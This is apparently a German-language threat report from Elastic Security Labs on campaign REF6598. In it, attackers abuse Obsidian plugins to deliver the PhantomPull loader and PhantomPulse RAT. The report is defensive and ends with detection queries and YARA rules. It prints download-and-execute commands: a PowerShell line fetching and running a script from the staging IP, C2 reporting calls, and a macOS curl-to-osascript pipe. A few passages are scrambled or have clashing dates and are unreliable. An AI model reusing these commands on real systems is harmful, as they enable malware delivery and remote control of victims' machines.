Phantom im Tresor: Obsidian missbraucht, um PhantomPulse RAT zu liefern

Eine Folgeveröffentlichung wird eine detailliertere technische Analyse von PHANTOMPULSE selbst liefern und dabei insbesondere auf die Einspritzsysteme, die internen Persistenzmechanismen und das C2-Protokoll eingehen.

Präambel

Elastic Security Labs hat eine neuartige Social-Engineering-Kampagne identifiziert, die die beliebte Notiz-App Obsidian als ersten Zugriffsvektor missbraucht. Die Kampagne, die wir unter der Bezeichnung REF6598 verfolgen, zielt mit ausgeklügelten Social-Engineering-Methoden auf LinkedIn und Telegram auf Einzelpersonen im Finanz- und Kryptowährungssektor ab. Die Bedrohungsakteure missbrauchen das legitime Community-Plugin-Ökosystem von Obsidian, insbesondere die Shell Commands- und Hider -Plugins, um im Hintergrund Code auszuführen, wenn ein Opfer einen gemeinsam genutzten Cloud-Tresor öffnet.

Bei dem beobachteten Einbruchsversuch erkannte und blockierte Elastic Defend den Angriff in einem frühen Stadium und verhinderte so, dass die Angreifer ihre Ziele auf dem Rechner des Opfers erreichen konnten.

Die Angriffskette ist plattformübergreifend und verfügt über dedizierte Ausführungspfade sowohl für Windows als auch für macOS. Unter Windows entschlüsselt und lädt ein Zwischenlader die Nutzdaten vollständig im Speicher mittels AES-256-CBC, Timer-Queue-Callback-Ausführung und mehreren Anti-Analyse-Techniken. Die Kette gipfelt in der Bereitstellung eines bisher undokumentierten RAT, den wir PHANTOMPULSE nennen, einer stark KI-generierten, voll ausgestatteten Backdoor mit Blockchain-basierter C2-Auflösung und fortschrittlicher Prozessinjektion durch Modul-Stomping. Auf macOS setzt der Angriff einen verschleierten AppleScript-Dropper mit einem Telegram-basierten Fallback-C2-Auflösungsmechanismus ein.

Dieser Beitrag beschreibt die gesamte Angriffskette, vom Social Engineering bis zur finalen Payload-Analyse, und bietet Hinweise zur Erkennung sowie Indikatoren für eine Kompromittierung.

Wichtigste Erkenntnisse

• PHANTOMPULSE ist ein neuartiger, KI-gestützter Windows-RAT mit Blockchain-basierter C2-Auflösung über Ethereum-Transaktionsdaten und speziellen Injektionstechniken.
• Wir haben eine Schwäche im C2-Mechanismus identifiziert, die es den Respondern ermöglicht, die Implantate zu übernehmen.
• Obsidian wurde für einen Social-Engineering-Angriff auf den ersten Zugriff missbraucht.
• Plattformübergreifende Angriffskette, die sowohl Windows als auch macOS zum Ziel hat.
• Die macOS-Payload verwendet einen mehrstufigen AppleScript-Dropper mit einem Telegram-Deaddrop für die Fallback-C2-Auflösung.
• PHANTOMPULL ist ein kundenspezifischer In-Memory-Loader, der PHANTOMPULSE liefert.

Kampagnenübersicht

Die Bedrohungsakteure agieren unter dem Deckmantel einer Risikokapitalfirma und nehmen über LinkedIn Kontakt zu ihren Zielen auf. Nach dem ersten Kontakt verlagert sich das Gespräch in eine Telegram-Gruppe, an der mehrere vermeintliche Partner teilnehmen, was der Interaktion Glaubwürdigkeit verleiht. Im Mittelpunkt der Diskussion stehen Finanzdienstleistungen, insbesondere Liquiditätslösungen für Kryptowährungen, wodurch ein plausibler Geschäftskontext geschaffen wird.

Der Zielnutzer wird aufgefordert, Obsidian, das als „Managementdatenbank“ des Unternehmens präsentiert wird, für den Zugriff auf ein gemeinsames Dashboard zu verwenden. Dem Ziel werden Zugangsdaten bereitgestellt, um eine Verbindung zu einem vom Angreifer kontrollierten, in der Cloud gehosteten Datenspeicher herzustellen.

Dieser Tresor ist der erste Zugriffsvektor. Nach dem Öffnen in Obsidian wird das Ziel angewiesen, die Synchronisierung von Community-Plugins zu aktivieren. Anschließend führen die infizierten Plugins die Angriffskette im Hintergrund aus.

Erstzugriff

Eine Elastic Defend-Verhaltenswarnung wurde aufgrund einer verdächtigen PowerShell-Ausführung mit Obsidian als übergeordnetem Prozess ausgelöst. Das erregte sofort unsere Aufmerksamkeit. Zunächst vermuteten wir, dass es sich um eine nicht vertrauenswürdige Binärdatei handelte, die sich als Obsidian ausgab. Nach Überprüfung der Codesignatur und des Hashwerts des übergeordneten Prozesses stellte sich jedoch heraus, dass es sich um die legitime Obsidian-Binärdatei handelte.

Durch die Analyse des Prozessereignisaufrufstapels, um festzustellen, ob eine DLL-Seitenladung von Drittanbietern oder ein nicht unterstützter Speicherbereich beteiligt war, konnten wir bestätigen, dass die Prozesserstellung direkt von Obsidian selbst ausging.

Anschließend untersuchten wir die umliegenden Dateien auf Anzeichen von JavaScript-Einschleusung durch Modifikation von Abhängigkeitsdateien oder bösartige .asar-Dateien. Dateieinreichung. Alles schien eine saubere, legitime Obsidian-Installation ohne Drittanbietercode zu sein. An diesem Punkt beschlossen wir, Obsidian selbst zu installieren und zu untersuchen, welche Möglichkeiten ein Angreifer ausnutzen könnte, um Befehle auszuführen.

Als erstes fiel die Möglichkeit auf, sich mit E-Mail-Adresse und Passwort in einen mit Obsidian synchronisierten Tresor einzuloggen.

Die Tresor-Synchronisierungsfunktion von Obsidian ermöglicht die Synchronisierung von Notizen und Dateien über verschiedene Geräte und Plattformen hinweg. Bei der Überprüfung der Dateien des bösartigen Remote-Tresors unter dem .obsidian-Verzeichnis Im Konfigurationsordner fanden wir Hinweise darauf, dass das Community-Plugin „Shell Commands“ installiert worden war:

C:\Users\user\Documents\<redacted_vault_name>\.obsidian\plugins\obsidian-shellcommands\data.json

Das Shell Commands-Plugin ermöglicht es Benutzern, plattformspezifische Shell-Befehle basierend auf konfigurierbaren Auslösern wie Obsidian-Start, -Schließung, alle N Sekunden und anderen auszuführen.

Der Inhalt der Datei data.json bestätigte unsere Theorie: Die konfigurierten Befehle stimmten genau mit dem überein, was wir in der ursprünglichen PowerShell-Verhaltenswarnung beobachtet hatten.

Um die gesamte Angriffskette zu validieren, haben wir versucht, das Verhalten durchgängig auf zwei Maschinen, einem Host und einer VM, mit einer kostenpflichtigen Obsidian Sync-Lizenz zu replizieren. Auf dem Host installierten wir das Shell Commands Community-Plugin mit einem benutzerdefinierten Befehl, der so konfiguriert ist, dass er beim Start notepad.exe erzeugt. Auf der VM haben wir uns mit demselben Obsidian-Konto angemeldet und eine Verbindung zum Remote-Vault hergestellt.

Der synchronisierte Tresor auf der VM empfing die Basiskonfigurationsdateien (app.json, appearance.json, core-plugins.json, workspace.json), jedoch fehlten das Verzeichnis plugins/ und community-plugins.json vollständig. Dies liegt daran, dass die Synchronisierungseinstellungen von Obsidian zwei separate Schalter bieten, „Liste aktiver Community-Plugins“ und „Installierte Community-Plugins“, die beide standardmäßig deaktiviert sind und lokale clientseitige Einstellungen darstellen, die nicht bei der Synchronisierung weitergegeben werden.

Wie unten dargestellt, werden die Plugins und das Community-Plugin-Manifest nicht automatisch synchronisiert (beliebige Dateien innerhalb des .obsidian-Verzeichnisses). Verzeichnis).

Sobald das Shell-Befehls-Plugin aktiviert ist, löst es jedoch beim Öffnen des Tresors sofort die Ausführung von vom Angreifer definierten Befehlen aus:

Dies bedeutet, dass ein Angreifer die Installation oder Aktivierung eines Community-Plugins nicht allein durch Vault-Synchronisierung erzwingen kann. Das Opfer muss die Synchronisierung des Community-Plugins auf seinem Gerät manuell aktivieren, bevor die präparierte Plugin-Konfiguration heruntergeladen und die Ausführung ausgelöst wird.

In dem von uns untersuchten Fall gab der Angreifer dem Opfer die Zugangsdaten für das Obsidian-Konto direkt im Rahmen eines Social-Engineering-Köders, indem er es wahrscheinlich anwies, sich einzuloggen, die Synchronisierung des Community-Plugins zu aktivieren und eine Verbindung zum vorbereiteten Tresor herzustellen. Nach Abschluss dieser Schritte wurden das Shell Commands-Plugin und seine data.json-Konfiguration automatisch synchronisiert, und beim nächsten konfigurierten Trigger wurde die Payload ohne weitere Interaktion ausgeführt.

Obwohl dieser Angriff Social Engineering erfordert, um die Synchronisierungsgrenze des Community-Plugins zu überwinden, bleibt die Technik bemerkenswert: Sie missbraucht eine legitime Anwendungsfunktion als Persistenz- und Befehlsausführungskanal, die Payload befindet sich vollständig in JSON-Konfigurationsdateien, die wahrscheinlich keine herkömmlichen AV-Signaturen auslösen, und die Ausführung wird von einer signierten, vertrauenswürdigen Electron-Anwendung übergeben, wodurch die Erkennung auf Basis des übergeordneten Prozesses zur entscheidenden Ebene wird.

Neben dem Shell Commands-Plugin verwendete der Autor auch Hider (v1.6.1), ein UI-Cleanup-Plugin, das Interface-Elemente ausblendet. Wenn alle Tarnungsoptionen aktiviert sind, ergibt sich folgende Konfiguration:

{
  "hideStatus": true,
  "hideTabs": true,
  "hideScroll": true,
  "hideSidebarButtons": true,
  "hideTooltips": true,
  "hideFileNavButtons": true,
}

Windows-Ausführungskette

Phase 1

Der Windows-Befehl des Shell Commands-Plugins enthielt zwei Invoke-Expression -Aufrufe mit Base64-kodierten Zeichenketten, die sich wie folgt dekodieren lassen:

iwr http://195.3.222[.]251/script1.ps1 -OutFile env:TEMP\tt.ps1 -UseBasicParsing powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File "env:TEMP\tt.ps1"

Dadurch wird ein PowerShell-Skript der zweiten Stufe von einer fest codierten IP-Adresse heruntergeladen und ausgeführt.

Phase 2

Das heruntergeladene PowerShell-Skript (script1.ps1) implementiert einen Loader-Delivery-Mechanismus mit einem integrierten Operator-Benachrichtigungssystem. Das Skript verwendet BitsTransfer , um die Binärdatei der nächsten Stufe herunterzuladen und meldet seinen Fortschritt an den C2-Server.

Import-Module BitsTransfer
Start-BitsTransfer -Source 'http://195.3.222[.]251/syncobs.exe?q=%23OBSIDIAN' `
  -Destination "$env:TEMP\syncobs.exe"

Nach dem Download überprüft das Skript die Existenz der Datei und meldet das Ergebnis an den C2-Server unter 195.3.222[.]251/stuk-phase. Es scheint, dass die vorangestellten Zeichen (G, R) der Statusmeldung GREEN oder RED als Statusfarbcode deklarieren. Nachfolgend eine Tabelle aller Statusmeldungen:

Der mit jedem Statusupdate gesendete Parameter tag (Obsidian) identifiziert die Kampagne oder den Infektionsvektor und lässt vermuten, dass die Betreiber mehrere Kampagnen gleichzeitig durchführen.

if ($started) {
    Invoke-RestMethod -Uri "http://195.3.222[.]251/stuk-phase" -Method Post -Body @{ message = "GLAUNCH SUCCESS"; tag = $tag }
} else {
    Invoke-RestMethod -Uri "http://195.3.222[.]251/stuk-phase" -Method Post -Body @{ message = "RLAUNCH FAILED"; tag = $tag }
}
Start-Sleep -Seconds 3

Invoke-RestMethod -Uri "http://195.3.222[.]251/stuk-phase" -Method Post -Body @{ message = "GSESSION CLOSED"; tag = $tag }

Lader - PHANTOMPULL

Dieser Loader ist eine 64-Bit Windows PE-Executable, die eine AES-256-CBC-verschlüsselte PE-Nutzlast aus ihren eigenen Ressourcen extrahiert, sie entschlüsselt und sie reflektierend in den Speicher lädt. Diese im Arbeitsspeicher befindliche Nutzlast lädt dann die nächste Stufe von der Domain (panel.fefea22134[.]net) über HTTPS herunter.

Die Nutzlast der dritten Stufe (PHANTOMPULSE) wird dann entschlüsselt und reflektiert über DllRegisterServer geladen. Dieser Loader, den wir PHANTOMPULL nennen, beinhaltet die API-Auflösung zur Laufzeit und die Ausführung auf Basis einer Timer-Warteschlange. Dieses Beispiel enthält geringfügige Formen der Ausweichung/Verschleierung sowie toten Code; diese Techniken werden als Anti-Analyse-Trick eingesetzt, um die Zeit des Analysten bei der Untersuchung der Malware zu verschwenden.

Ablauf der Ausführung

Phase 1

Phase 2

Gefälschte Integritätsprüfung

Der Loader beginnt mit einem ungewöhnlichen Start, bei dem ein Dead-Code-Guard verwendet wird, der GetTickCount() mit dem Hexadezimalwert (0xFFFFFFFE) vergleicht – einem Wert, der ungefähr 49,7 Tagen ununterbrochener Systemlaufzeit entspricht, wodurch die Bedingung praktisch unerreichbar ist. Der geschützte Block enthält überzeugende, aber unerreichbare Manipulationsschutzfunktionen, die dazu dienen, die Zeit der Analysten beim Reverse Engineering zu verschwenden.

Die anti_tamper_integrity_checksum() -Funktion ist auch ziemlich seltsam; sie hasht nicht etwa die zugrundeliegenden Bytes, sondern summiert alle Funktionsadressen im Binärcode. Die Prüfsumme wird niemals mit irgendetwas verglichen; dies ist wahrscheinlich eine beabsichtigte Anti-Analyse-Technik, um die Zeit der Analysten zu verschwenden und die Binärdatei aufzublähen.

API-Hashing

Dieser Loader löst API-Funktionen dynamisch zur Laufzeit unter Verwendung des Hash-Algorithmus djb2 mit dem Seed 0x4E67C6A7 auf. Folgende APIs wurden aufgelöst:

• VirtualAlloc
• VirtualProtect
• VirtualFree
• LoadLibraryA
• GetProcessAddress

Ressourcenextraktion + Entschlüsselung

PHANTOMPULL speichert seine verschlüsselte Nutzlast im Arbeitsspeicher innerhalb eigener Ressourcen.

Um die Bytes zu extrahieren, verwendet es FindResourceA, und lokalisiert den Ressourcentyp (RT_RCDATA) unter der ID (101). Die Ressource wird in den Speicher eingebunden und in einen Bereich kopiert, der mit PAGE_READWRITE Berechtigungen gekennzeichnet ist.

Anschließend führt der Loader die AES-256-CBC-Entschlüsselung mit BCryptOpenAlgorithmProvider durch. Der Schlüssel ist im Abschnitt .rdata fest codiert.

Schlüssel: 6a85736b64761a8b2aaeadc1c0087e1897d16cc5a9d49c6a6ea1164233bad206

Der Initialisierungsvektor (IV) ist ebenfalls fest im Stack codiert: A6FA4ADFC20E8E6B77E2DD631DC8FF18

Nach der Entschlüsselung überprüft der Loader, ob die Ausgabe ein gültiges PE ist, indem er den MZ-Header-Magic-Wert mit einer Vergleichsanweisung überprüft, wobei ein fest codierter Wert (0x0C1DF) verwendet wird, der mit (0x9B92) per XOR verknüpft wird und dem PE-Magic-Header (0x5a4d) entspricht. Dies ist ein Beispiel für einige der simplen Verschleierungsversuche, die oft unpassend wirken und nicht ins Gesamtbild passen.

Ausführung

Anstatt die Nutzdaten direkt aufzurufen (was von Sandboxes leicht erkannt werden kann), verwendet der Loader einen Timer-Queue-Callback. Die Verzögerung von 50 ms und die Ausführung in separaten Threads können verschiedene Sicherheits-/Sandbox-Tools umgehen.

Innerhalb des Callbacks befindet sich die Funktionalität zum Laden reflektierender PE-Funktionen, die dann zur Ausführung des nächsten Schritts verwendet wird.

Diese reflektierende Ladefunktion ist die zentrale Ausführungskomponente. Es kopiert die PE-Header, ordnet jeden Abschnitt dem Speicher zu, wendet Basisrelokationen an, löst Importe auf und setzt die endgültigen Abschnittsschutzmechanismen – wodurch ein voll funktionsfähiges, speicherresidentes PE entsteht, das niemals die Festplatte berührt.

Die Ausführung wird dann über eine indirekte call rbp -Anweisung an die zweite Stufe übertragen, wobei RBP die berechnete Einstiegspunktadresse des reflexiv geladenen PE enthält.

Zweite Phase

Die zweite Stufe ist für das Herunterladen der extern gehosteten Nutzlast (PHANTOMPULSE) und für die Verwendung einer ähnlichen reflektierenden Ladetechnik zum Start des Implantats zuständig. Dieser Schritt beginnt mit der Erstellung eines Mutex aus einer XOR-Operation mit zwei fest codierten globalen Variablen.

Der Mutex-Name für dieses Beispiel lautet: hVNBUORXNiFLhYYh

Nach der Erstellung des Mutex tritt dieser Code in eine Endlosschleife ein, die versucht, die Nutzdaten vom C2-Server herunterzuladen. Wenn der Download erfolgreich einen gültigen Puffer zurückgibt, wird er abgebrochen und mit der Phase des reflektierenden Ladens fortgefahren.

Im Fehlerfall verwendet der Code ein exponentielles Backoff-Verfahren – beginnend mit einer Wartezeit von 5 Sekunden und multipliziert mit 1,5x bei jedem Wiederholungsversuch, wobei die maximale Wartezeit knapp unter 5 Minuten liegt. Dadurch wird ein festes Beacon-Intervall vermieden, das im Netzwerkverkehr trivialerweise identifiziert werden könnte.

Die Download-Funktionalität beginnt mit der Entschlüsselung des C2-Servers und der URL.

Sowohl C2 als auch URL werden mit einer einfachen String-Entschlüsselungsfunktion unter Verwendung eines 16-Byte-Rotationsschlüssels (f77c8e40dfc17be5e74d8679d5b35341) entschlüsselt.

Anschließend erstellt die Malware die HTTPS-Anfrage, indem sie die Zeichenkette mit dem URI /v1/updates/check?build=payloads anhängt und den User-Agent (Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36) festlegt. Dieser Loader verwendet die WinHTTP-Bibliothek, um eine Verbindung zum C2-Server auf Port 443 herzustellen.

Die Malware liest den Puffer von der Remote-C2-URL und entschlüsselt die Nutzdaten mit einem 16-Byte-XOR-Schlüssel (dcf5a9b27cbeedb769ccc8635d204af9).

Nachfolgend die ersten Bytes der XOR-codierten Nutzdaten:

Nachfolgend die ersten Bytes nach der XOR-Verknüpfung:

Nach dem Download und der XOR-Operation analysiert PHANTOMPULL die Nutzdaten und gibt die DLL mit DLLRegisterServer zurück.

Durch eine kurze Überprüfung der Zeichenketten können wir die wichtigste Hintertür, PHANTOMPULSE, erkennen:

RAT - PHANTOMPULSE

PHANTOMPULSE ist ein hochentwickeltes 64-Bit-Windows-RAT, das für Tarnung, Ausfallsicherheit und umfassenden Fernzugriff konzipiert wurde. Die Binärdatei weist starke Indizien für eine KI-gestützte Entwicklung auf: Die Debug-Strings im gesamten Code sind ungewöhnlich ausführlich, selbstdokumentierend und folgen einem strukturierten Schrittnummerierungsmuster ([STEP 1], [STEP 1/3], [STEP 2/3]).

Im Rahmen unserer Recherchen stellten wir fest, dass die C2-Infrastruktur über ein öffentlich zugängliches Panel mit der Bezeichnung “Phantom Panel" verfügte, auf dem eine Anmeldeseite mit Feldern für Benutzername, Passwort und Captcha zu finden war. Das Design und die Struktur des Panels lassen vermuten, dass es ebenfalls KI-generiert wurde, was mit den Entwicklungsmustern übereinstimmt, die im RAT selbst beobachtet wurden.

C2-Rotation durch Blockchain

PHANTOMPULSE implementiert einen dezentralen C2-Auflösungsmechanismus, der die öffentliche Blockchain-Infrastruktur als Dead Drop nutzt. Die Malware ermittelt ihre C2-URL primär durch Auflösung aus On-Chain-Transaktionsdaten. Eine fest codierte C2-URL dient als Ausweichlösung, falls die Blockchain-Auflösung nach wiederholten Versuchen fehlschlägt.

Die Malware fragt die Etherscan-kompatible API (/api?module=account&action=txlist&address=<wallet>&page=1&offset=1&sort=desc) auf drei Blockscout-Instanzen ab:

• eth.blockscout[.]com (Ethereum L1)
• base.blockscout[.]com (Basis L2)
• optimism.blockscout[.]com (Optimismus L2)

Jede Anfrage ruft die letzte Transaktion ab, die mit einer fest codierten Wallet-Adresse (0xc117688c530b660e15085bF3A2B664117d8672aA) verknüpft ist, welche selbst im Binärformat XOR-verschlüsselt ist. Die Malware analysiert das Datenfeld input der Transaktion aus der JSON-Antwort, entfernt das Präfix 0x , dekodiert die Rohbytes hexadezimal und entschlüsselt das Ergebnis mittels XOR unter Verwendung der Wallet-Adresse als XOR-Schlüssel. Wenn die entschlüsselte Ausgabe mit http beginnt, wird sie als neue aktive C2-URL akzeptiert.

Diese Technik bietet dem Betreiber eine infrastrukturunabhängige Rotationsmöglichkeit: Zum Veröffentlichen eines neuen C2-Endpunkts muss lediglich eine Transaktion mit speziell präparierten Aufrufdaten an die Wallet auf einer der drei überwachten Blockchains übermittelt werden. Da Blockchain-Transaktionen unveränderlich und öffentlich zugänglich sind, kann die Malware ihren C2-Server jederzeit lokalisieren, ohne auf eine zentrale Infrastruktur angewiesen zu sein. Die Verwendung von drei unabhängigen Ketten erhöht die Redundanz: Selbst wenn der Explorer einer Kette blockiert oder nicht verfügbar ist, bieten die beiden verbleibenden Ketten alternative Lösungswege.

Dieses Design birgt jedoch eine erhebliche Schwäche. Die Blockscout-API gibt alle Transaktionen zurück, die die Wallet-Adresse betreffen, sowohl gesendete als auch empfangene, sortiert in umgekehrter chronologischer Reihenfolge. Die Schadsoftware überprüft den Absender der Transaktion nicht. Dies bedeutet, dass jeder Dritte, der die Wallet-Adresse und den XOR-Schlüssel kennt (beide aus der Binärdatei wiederherstellbar), eine Transaktion an die Wallet erstellen kann, die eine konkurrierende Eingabenutzlast enthält. Da die Malware stets die aktuellste Transaktion auswählt, würde eine einzige eingehende Transaktion mit einem aktuelleren Zeitstempel die vom Betreiber beabsichtigte C2-URL überschreiben. In der Praxis ermöglicht dies jedem, die C2-Auflösung zu kapern, indem er eine Sinkhole-URL einreicht, die mit demselben XOR-Schema kodiert ist, wodurch effektiv alle infizierten Hosts von der Angreiferinfrastruktur weggeleitet werden.

C2-Kommunikation

PHANTOMPULSE verwendet WinHTTP für die C2-Kommunikation, lädt winhttp.dll dynamisch und löst alle erforderlichen Funktionen zur Laufzeit auf. Die C2-Infrastruktur basiert auf fünf API-Endpunkten:

Der Heartbeat sendet umfassende Systemtelemetriedaten im JSON-Format, einschließlich CPU-Modell, GPU, RAM, Betriebssystemversion, Benutzername, Berechtigungsstufe, öffentliche IP-Adresse, installierte Antivirenprodukte, installierte Anwendungen und die Ergebnisse der letzten Befehlsausführung.

Command table

Der Befehlsverteiler analysiert JSON-Antworten vom C2, um Befehle zu extrahieren und mittels des djb2 -Algorithmus zu hashen. Dieser Hash wird mittels einer Switch-Case-Anweisung verarbeitet, um die entsprechende Logik auszuführen, wie im folgenden Pseudocode dargestellt:

MacOS-Ausführungskette

Phase 1: AppleScript über osascript

Der macOS-Befehl des Shell-Befehls-Plugins führt eine Base64-kodierte Nutzlast über osascript aus.

Die dekodierte Nutzlast führt zwei Hauptaktionen aus:

LaunchAgent-Persistenz: Erstellt eine persistente LaunchAgent-plist unter ~/Library/LaunchAgents/com.vfrfeufhtjpwgray.plist die mit KeepAlive und RunAtLoad auf true konfiguriert ist, wodurch sichergestellt wird, dass die Payload der zweiten Stufe bei jeder Anmeldung ausgeführt wird und bei Beendigung neu gestartet wird.

Zweite Ausführungsphase: Der LaunchAgent führt einen stark verschleierten AppleScript-Dropper über /bin/bash -c aus, der in osascript weitergeleitet wird.

Phase 2: Verschleierter AppleScript-Dropper

Die zweite Stufe der Nutzlast besteht aus einem verschleierten AppleScript-Dropper, der mehrere Ausweichtechniken einsetzt.

String-Verschleierung: Alle sensiblen Strings (Domains, URLs, User-Agent-Werte) werden zur Laufzeit mithilfe von ASCII character, character id und string id -Aufrufen erstellt, wodurch die Extraktion statischer Strings verhindert wird:

property __tOlA5QTO5I : {(string id {48, 120, 54, 54, 54, 46, 105, 110, 102, 111})}
-- Decodes to: "0x666.info"

Ködervariablen: Zahlreiche ungenutzte Variablen mit zufälligen Namen und Werten werden definiert, um die Entropie zu erhöhen und die Analyse zu erschweren.

Fragmentierte Verkettung: Zeichenketten werden über verschiedene Kodierungsmethoden aufgeteilt, wobei Literalfragmente mit Zeichen-ID-Abfragen kombiniert werden, um die Mustererkennung zu umgehen.

C2-Auflösung mit Telegram-Fallback

Der Dropper implementiert eine mehrschichtige C2-Auflösungsstrategie:

1. Primär: Iteriert über eine fest codierte Domänenliste (einschließlich 0x666[.]info) und sendet eine POST-Anfrage mit dem Body "check" , um die C2-Verfügbarkeit zu validieren.
2. Fallback: Falls die primäre Domain nicht erreichbar ist, wird ein öffentlicher Telegram-Kanal (t[.]me/ax03bot) aufgerufen, um eine Backup-Domain
   zu extrahieren.

Diese Telegram-Dead-Drop-Technik ermöglicht es den Betreibern, die C2-Infrastruktur zu rotieren, wodurch die domänenbasierte Blockierung als alleinige Schutzmaßnahme nicht mehr ausreicht.

Nutzlastabruf

Sobald ein C2-Server aufgelöst ist, lädt das Skript eine Nutzlast der zweiten Stufe herunter und leitet sie direkt an osascript weiter:

curl -s --connect-timeout 5 --max-time 10 --retry 3 --retry-delay 2 -X POST <C2_URL> \
  -H "User-Agent: <spoofed Chrome UA>"-d "txid=346272f0582541ae5dd08429bb4dc4ff&bmodule"| osascript

Die Opferkennung (txid) und der Modulselektor (bmodule) werden als POST-Parameter gesendet. Als Antwort wird eine weitere AppleScript-Payload erwartet, die sofort ausgeführt wird. Zum Zeitpunkt der Analyse waren die C2-Server für die macOS-Kette offline, wodurch die Erfassung nachfolgender Stufen verhindert wurde.

Analyse der Infrastruktur

Wallet-Aktivität

Die Untersuchung der On-Chain-Aktivität für die fest codierte Wallet (0xc117688c530b660e15085bF3A2B664117d8672aA) offenbart die C2-Rotationshistorie des Betreibers. Bei den beiden letzten Transaktionen handelt es sich um Selbstüberweisungen (Wallet an sich selbst), wobei jede eine andere C2-URL in den Transaktionsdaten kodiert:

Die Verwendung einer Cloudflare-Tunneldomäne (trycloudflare[.]com) als vorheriger C2-Endpunkt ist bemerkenswert, da sie es dem Betreiber ermöglicht, einen lokalen Server über die Infrastruktur von Cloudflare zugänglich zu machen, ohne eine Domäne registrieren zu müssen, wodurch eine zusätzliche Anonymitätsebene geschaffen wird.

Die Wallet wurde ursprünglich am 12 Februar 39 21 UTC von einem separaten Konto mit einer Überweisung von 5,84 $ und einem leeren Eingabefeld aufgeladen, was bestätigt 2026 0x es sich 0x38796B8479fDAE0A72e5E7e326c87a637D0Cbc0E eine reine Finanzierungstransaktion handelte. Über die Funding-Wallet selbst wurden in den letzten drei Monaten etwa 50 Transaktionen durchgeführt, was einen potenziellen Ausgangspunkt für die Aufdeckung weiterer Kampagnen desselben Bedrohungsakteurs darstellt.

Payload-Staging-Server

Der initiale Payload-Delivery-Server unter 195.3.222[.]251 wird auf AS 201814 (MEVSPACE sp. z oo), einem polnischen Hosting-Anbieter, gehostet.

PhantomPulse C2-Panel

Die Domain fefea22134[.]net wird zu Cloudflare-IPs (104.21.79[.]142 und 172.67.146[.]15) aufgelöst, was darauf hindeutet, dass sich das C2-Panel hinter dem Cloudflare-Proxy befindet. Historische passive DNS-Auflösungen zeigen, dass die Domain erstmals am 12.03.2026 aufgelöst wurde, wobei frühere Auflösungen am 20.03.2026 auf andere IPs (188.114.97[.]1 und 188.114.96[.]1) verwiesen.

Die Domain verwendet ein Let's Encrypt-Zertifikat, das erstmals am 12.03.2026 beobachtet wurde:

• Seriennummer: 5130b76e63cd41f11e6b7c2a77f203f72b4
• Fingerabdruck: 6c0a1da746438d68f6c4ffbf9a10e873f3cf0499
• Gültigkeit: 2026-02-19 to 2026-05-20

Das Ausstellungsdatum des Zertifikats (19. Februar) stimmt mit der Kodierung der letzten Blockchain-C2-Rotationstransaktion panel.fefea22134[.]net überein, was darauf schließen lässt, dass die Infrastruktur am selben Tag bereitgestellt wurde, an dem die C2-URL in der Blockchain veröffentlicht wurde.

Fazit

REF6598 zeigt, wie Bedrohungsakteure immer wieder kreative Wege finden, sich Zugang zu verschaffen, indem sie vertrauenswürdige Anwendungen missbrauchen und gezieltes Social Engineering einsetzen. Indem sie das Community-Plugin-Ökosystem von Obsidian missbrauchen, anstatt eine Software-Schwachstelle auszunutzen, umgehen die Angreifer die traditionellen Sicherheitskontrollen vollständig und verlassen sich auf die beabsichtigte Funktionalität der Anwendung, um beliebigen Code auszuführen.

Bei dem beobachteten Einbruchsversuch erkannte und blockierte Elastic Defend die Angriffskette in einem frühen Stadium, bevor PHANTOMPULSE ausgeführt werden konnte, und verhinderte so, dass der Angreifer seine Ziele erreichte. Die Verhaltensschutzmechanismen, die bei der anomalen Prozessausführung von Obsidian ausgelöst wurden, stoppten die Zustellung der Nutzdaten.

Organisationen im Finanz- und Kryptowährungssektor sollten sich darüber im Klaren sein, dass legitime Produktivitätstools zu Angriffsvektoren werden können. Die Verteidiger sollten die Erstellung anomaler Kindprozesse durch Anwendungen wie Obsidian überwachen und nach Möglichkeit Plugin-Richtlinien auf Anwendungsebene durchsetzen. Die in dieser Studie bereitgestellten Indikatoren und Erkennungslogiken können genutzt werden, um diese Aktivität zu identifizieren und darauf zu reagieren.

Elastic Security Labs wird REF6598 weiterhin beobachten, um über weitere Entwicklungen, einschließlich zusätzlicher macOS-Payloads, informiert zu bleiben, sobald die zugehörige C2-Infrastruktur aktiv ist.

MITRE ATT&CK

Elastic verwendet das MITRE ATT&CK-Framework , um gängige Taktiken, Techniken und Verfahren zu dokumentieren, die von Advanced Persistent Threats gegen Unternehmensnetzwerke eingesetzt werden.

Taktiken

Taktiken stellen das Warum einer Technik oder Untertechnik dar. Es ist das taktische Ziel des Gegners: der Grund für die Ausführung einer Aktion.

• Erstzugriff
• Ausführung
• Persistenz
• Rechteausweitung
• Tarnung
• Erfassung
• Discovery
• Command and Control

Techniken

Techniken stellen dar, wie ein Angreifer ein taktisches Ziel erreicht, indem er eine Aktion ausführt.

• Phishing: Spearphishing per Dienst
• User Execution: Malicious File
• Befehls- und Skriptinterpreter: PowerShell
• Befehls- und Skriptinterpreter: AppleScript
• Deobfuscate/Decode Files or Information
• Reflektierendes Laden von Codes
• Virtualisierung/Sandbox-Umgehung: Zeitbasierte Umgehung
• Prozessinjektion
• Geplanter Task/Job: Geplanter Task
• Automatische Ausführung beim Systemstart oder der Anmeldung: Änderung der Plist-Datei
• Eingabeerfassung: Keylogging
• Bildschirmaufnahme
• Erkennung von Systeminformationen
• Missbrauchs-Eskalationskontrollmechanismus: UAC umgehen

REF6598 wird erkannt

Erkennung

Die folgenden Erkennungsregeln und Verhaltenspräventionsereignisse wurden während der Analyse dieses Intrusion-Sets beobachtet:

• Verdächtige Windows PowerShell-Argumente

Verhütung

• Suspicious PowerShell Execution (Verdächtige PowerShell-Ausführung)
• Netzwerkmodul aus verdächtigem, nicht gesichertem Speicher geladen
• Base64-kodierte Zeichenkettenausführung über Osascript

Suchen von Abfragen in Elastic

Diese Suchabfragen dienen dazu, das Vorhandensein des Obsidian Community Shell-Befehls-Plugins sowie die daraus resultierende Befehlsausführung zu identifizieren:

KQL

event.category : file and process.name : (Obsidian or Obsidian.exe) and
 file.path : *obsidian-shellcommands*

event.category : process and event.type : start and
 process.name : (sh or bash or zsh or powershell.exe or cmd.exe) and 
 process.parent.name : (Obsidian.exe or Obsidian)

YARA

Elastic Security hat YARA-Regeln erstellt, um diese Aktivität zu identifizieren. Nachfolgend sind die YARA-Regeln zur Identifizierung von PHANTOMPULL und PHANTOMPULSEaufgeführt.

rule Windows_Trojan_PhantomPull {
    meta:
        author = "Elastic Security"
        os = "Windows"
        category_type = "Trojan"
        family = "PhantomPull"
